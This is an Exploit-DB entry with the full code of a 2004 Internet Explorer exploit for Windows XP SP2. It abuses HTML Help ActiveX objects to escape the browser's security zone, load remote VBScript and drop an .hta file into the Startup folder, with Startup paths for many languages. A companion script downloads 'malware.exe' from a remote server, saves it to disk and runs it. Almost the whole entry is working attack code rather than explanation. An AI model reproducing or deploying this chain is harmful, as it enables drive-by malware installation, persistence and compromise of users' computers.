Exploit-DB #719
Description: Microsoft Internet Explorer (Windows XP SP2) - HTML Help Control Local Zone Bypass
Type: remote
Platform: windows
Date: 2004-12-25
Author: Paul

Exploit:
//  sp2rc.htm  //

<OBJECT id="localpage" type="application/x-oleobject" 
classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" height=7%
style="position:absolute;top:140;left:72;z-index:100;" 
codebase="hhctrl.ocx#Version=5,2,3790,1194" width="7%">
<PARAM name="Command" value="Related Topics, MENU">
<PARAM name="Button" value="Text:Just a button">
<PARAM name="Window" value="$global_blank">
<PARAM name="Item1" value="command;file://C:\WINDOWS\
PCHealth\HelpCtr\System\blurbs\tools.htm">
</OBJECT>

<OBJECT id="inject" type="application/x-oleobject"
classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" height=7%
style="position:absolute;top:140;left:72;z-index:100;"
codebase="hhctrl.ocx#Version=5,2,3790,1194" width="7%">
<PARAM name="Command" value="Related Topics, MENU">
<PARAM name="Button" value="Text:Just a button">
<PARAM name="Window" value="$global_blank">
<PARAM name="Item1" value='command;javascript:
execScript("document.write(\"<script language=\\\"vbscript\\\"
src=\\\"http://site/writehta.txt\\\"\"+String.fromCharCode(62)+\"
</scr\"+\"ipt\"+String.fromCharCode(62))")'>
</OBJECT>

<script>
localpage.HHClick();
setTimeout("inject.HHClick()",100);
</script>

//  writehta.txt  //

Dim Conn, rs
Set Conn = CreateObject("ADODB.Connection")
Conn.Open "Driver={Microsoft Text Driver (*.txt; *.csv)};" & _
"Dbq=http://server;" & _
"Extensions=asc,csv,tab,txt;" & _
"Persist Security Info=False"
Dim sql
sql = "SELECT * from foobar.txt"
set rs = conn.execute(sql)
set rs =CreateObject("ADODB.recordset")
rs.Open "SELECT * from foobar.txt", conn
rs.Save
"C:\Documents and Settings\All Users\Start Menu\Programs\Startup\Microsoft Office.hta", adPersistXML
// Spanish     \Documents and Settings\All Users\Menu Inicio\Programas\Inicio\
// French       \Documents and Settings\All Users\Menu Démarrer\Programmes\Démarrage
// Danish      \Documents and Settings\All Users\Menuen Start\Programmer\Start\
// Dutch        \Documents and Settings\All Users\Menu Start\Programma's\Opstarten\
// Polish        \Documents and Settings\All Users\Menu Start\Programy\Autostart\
// Italian       \Documents and Settings\All Users\Menu Avvio\Programmi\Esecuzione automatica\
// Finn           \Documents and Settings\All Users\Kaynnista-valikko\Ohjelmat\Kaynnistys\
// Turkish      \Documents and Settings\All Users\Start Menu\Programlar\BASLANGIC\ Turkish
// Norwegian  \Documents and Settings\All Users\Start-meny\Programmer\Oppstart\
// Swedish     \Documents and Settings\All Users\Start-menyn\Program\Autostart\
// Portuguese \Documents and Settings\All Users\Menu Iniciar\Programas\Iniciar\
// German     \Dokumente und Einstellungen\All Users\Startmenu\Programme\Autostart\
rs.close
conn.close
window.close

//  f00bar.txt  //

"meaning less shit i had to put here"
"<script language=vbscript> crap = """
""": on error resume next: crap = """
""" : set o = CreateObject(""msxml2.XMLHTTP"") : crap="""
""" : o.open ""GET"",""http://server/malware.exe"",False : crap="""
""" : o.send : crap="""
""" : set s = createobject(""adodb.stream"") : crap="""
""" : s.type=1 : crap="""
""" : s.open : crap="""
""" : s.write o.responseBody : crap="""
""" : s.savetofile ""C:\malware.exe"",2 : crap="""
""" : Set ws = CreateObject(""WScript.Shell"") : crap="""
""" : ws.Run ""C:\malware.exe"", 3, FALSE : crap="""
"""</script> crap="""

# milw0rm.com [2004-12-25]